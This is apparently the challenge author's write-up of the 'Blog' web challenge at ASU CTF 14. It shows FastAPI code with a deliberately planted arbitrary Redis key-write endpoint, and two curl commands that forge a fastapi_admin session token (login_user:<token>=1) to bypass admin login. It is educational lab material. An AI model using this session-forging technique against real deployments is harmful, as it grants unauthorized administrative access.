ASU CTF 14 - Blog challenge

TL;DR: An arbitrary Redis key-write lets you forge a fastapi_admin session token, log into the admin dashboard, and read the flag.

"Blog" is an easy whitebox web challenge. You're given the source for a small FastAPI application that lists articles. The flag lives in a flag table, and the app uses the fastapi_admin package to provide an admin dashboard.

Source code

.
├── build.sh
├── Dockerfile
├── entrypoint.sh
├── main.py
├── pyproject.toml
└── uv.lock

The important code fragments are:

1# main.py
2
3from fastapi_admin.app import app as admin_app
4
5REDIS_URL = os.getenv("REDIS_URL", "redis://localhost:6379/0")
6ADMIN_USER = secrets.token_hex(20)
7ADMIN_PASS = secrets.token_hex(20)
8FLAG = os.getenv("FLAG", "ASU{example_flag}")
9
10app = FastAPI(lifespan=lifespan)
11app.mount("/admin", admin_app) # register fastapi_admin
12templates = Jinja2Templates(directory="templates")
13
14@asynccontextmanager
15async def lifespan(app: FastAPI):
16 ...
17 r = aioredis.from_url(REDIS_URL, decode_responses=True, encoding="utf8")
18 await admin_app.configure(
19 providers=[LoginProvider(admin_model=Admin)],
20 redis=r,
21 )
22 ...
23
24
25# === !! VULN !! ===
26# set an arbitrary redis key
27@app.post("/theme", response_class=RedirectResponse)
28async def set_theme(
29 request: Request,
30 key: str = Form(...),
31 value: str = Form(...),
32):
33 sid = get_sid(request)
34 r = aioredis.from_url(REDIS_URL, decode_responses=True)
35 await r.set(key, value) # <----- attacker controls both key and value
36 await r.aclose()
37 resp = RedirectResponse("/", status_code=303)
38 resp.set_cookie("session", sid, httponly=True)
39 return resp

Note that the admin account is created, but the credentials are truly random so you can't guess them.

The vulnerability

The /theme endpoint lets you write an arbitrary key and value into Redis. That's the whole bug. But this on its own does nothing, but because fastapi_admin uses Redis to store session tokens you can forge an admin session.

The session mechanism

Browsing the library on GitHub: fastapi_admin/providers/login.py#L117

1async def authenticate(
2 self,
3 request: Request,
4 call_next: RequestResponseEndpoint,
5):
6 redis = request.app.redis # type:ignore
7 token = request.cookies.get(self.access_token)
8 path = request.scope["path"]
9 admin = None
10 if token:
11 token_key = constants.LOGIN_USER.format(token=token)
12 admin_id = await redis.get(token_key)
13 admin = await self.admin_model.get_or_none(pk=admin_id)

You will notice that:

So an admin session is just a Redis key login_user:<anything> with value 1, and a matching access_token cookie.

Exploit

Step #1 Create the session token via /theme:

1curl -X POST http://challenge:80/theme \
2 -d 'key=login_user:my_fake_token' \
3 -d 'value=1'

Step #2 Use it:

1curl http://challenge:80/admin -H "Cookie: access_token=my_fake_token"

You're now authenticated as admin 1 and can read the flag from the dashboard.

About the CTF

This was ASU CTF 14, an on-campus CTF. I ran the infrastructure and authored a couple of the web and pwn challenges, including this one.